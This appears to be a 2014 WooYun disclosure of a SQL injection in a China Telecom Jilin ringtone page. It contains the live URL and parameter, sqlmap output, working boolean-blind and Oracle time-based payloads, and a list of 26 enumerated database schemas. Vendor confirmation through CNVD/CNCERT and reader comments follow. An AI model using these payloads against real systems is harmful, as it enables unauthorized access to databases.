当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061224

漏洞标题:中国电信吉林省某分站一处Oracle注入(横跨26个数据库)之第一蛋

相关厂商:中国电信

漏洞作者: Mosuan

提交时间:2014-05-22 16:16

修复时间:2014-07-06 16:18

公开时间:2014-07-06 16:18

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-22: 细节已通知厂商并且等待厂商处理中
2014-05-27: 厂商已经确认,细节仅向厂商公开
2014-06-06: 细节向核心白帽子及相关领域专家公开
2014-06-16: 细节向普通白帽子公开
2014-06-26: 细节向实习白帽子公开
2014-07-06: 细节向公众公开

简要描述:

呵呵,原谅我无耻的刷洞~~

详细说明:

注入地址

http://jl.118100.cn/cring/jsp/user/ringSpecialDetail.jsp?ringSpecialId=
6565


注入地址:http://jl.118100.cn/cring/jsp/user/ringSpecialDetail.jsp?ringSpecialId=6565
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:08:06
[00:08:06] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\jl.118100.cn\session' as session file
[00:08:06] [INFO] testing connection to the target url
[00:08:07] [INFO] testing if the url is stable, wait a few seconds
[00:08:08] [INFO] url is stable
[00:08:08] [INFO] testing if GET parameter 'ringSpecialId' is dynamic
[00:08:08] [INFO] confirming that GET parameter 'ringSpecialId' is dynamic
[00:08:09] [INFO] GET parameter 'ringSpecialId' is dynamic
[00:08:09] [WARNING] heuristic test shows that GET parameter 'ringSpecialId' mig
ht not be injectable
[00:08:09] [INFO] testing sql injection on GET parameter 'ringSpecialId'
[00:08:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:08:11] [INFO] GET parameter 'ringSpecialId' is 'AND boolean-based blind - WH
ERE or HAVING clause' injectable
[00:08:11] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:08:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:08:12] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:08:12] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:08:13] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:08:13] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:08:14] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:08:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:08:14] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:08:15] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:08:15] [INFO] testing 'Oracle AND time-based blind'
[00:08:46] [INFO] GET parameter 'ringSpecialId' is 'Oracle AND time-based blind'
injectable
[00:08:46] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'ringSpecialId' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N] y
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: ringSpecialId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ringSpecialId=6565 AND 8931=8931
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: ringSpecialId=6565 AND 6343=DBMS_PIPE.RECEIVE_MESSAGE(CHR(81)||CHR(
88)||CHR(102)||CHR(67),5)
---
[00:09:15] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[00:09:15] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[00:09:15] [INFO] fetching database (schema) names
[00:09:15] [INFO] fetching number of databases
[00:09:15] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[00:09:15] [INFO] retrieved: 26
[00:09:32] [INFO] retrieved: ACTIVITY
[00:11:04] [INFO] retrieved: CRING
[00:12:05] [INFO] retrieved: CRING_U
[00:13:26] [INFO] retrieved: CTXSYS
[00:14:36] [INFO] retrieved: DBSNMP
[00:15:47] [INFO] retrieved: DMSYS
[00:16:49] [INFO] retrieved: EXFSYS
[00:18:00] [INFO] retrieved: HR
[00:18:31] [INFO] retrieved: IX
[00:19:01] [INFO] retrieved: MDSYS
[00:20:02] [INFO] retrieved: OE
[00:20:34] [INFO] retrieved: OLAPSYS
[00:21:57] [INFO] retrieved: ORDSYS
[00:23:09] [INFO] retrieved: OUTLN
[00:24:12] [INFO] retrieved: PM
[00:24:45] [INFO] retrieved: SCOTT
[00:25:55] [INFO] retrieved: SH
[00:26:27] [INFO] retrieved: SINON
[00:27:29] [INFO] retrieved: SINON_SEARCH
[00:29:52] [INFO] retrieved: SYS
[00:30:36] [INFO] retrieved: SYSMAN
[00:31:52] [INFO] retrieved: SYSTEM
[00:33:15] [INFO] retrieved: TSMSYS
[00:34:31] [INFO] retrieved: USER01
[00:35:51] [INFO] retrieved: WMSYS
[00:37:21] [INFO] retrieved: XDB
available databases [26]:
[*] ACTIVITY
[*] CRING
[*] CRING_U
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HR
[*] IX
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] SCOTT
[*] SH
[*] SINON
[*] SINON_SEARCH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] USER01
[*] WMSYS
[*] XDB
[00:38:05] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\jl.118100.cn'

漏洞证明:

详细说明

修复方案:

你们懂的!!

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-27 13:29

厂商回复:

CNVD确认并复现所述情况,转由CNCERT协调中国电信集团公司通报处置。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-05-23 23:19 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 承接:钻井,架工,木工,电工,水暖工,力...)

    尼玛。电信的裤子被你脱玩了吧。。。

  2. 2014-05-23 23:27 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @雷锋 从来不脱裤子,从来不收藏数据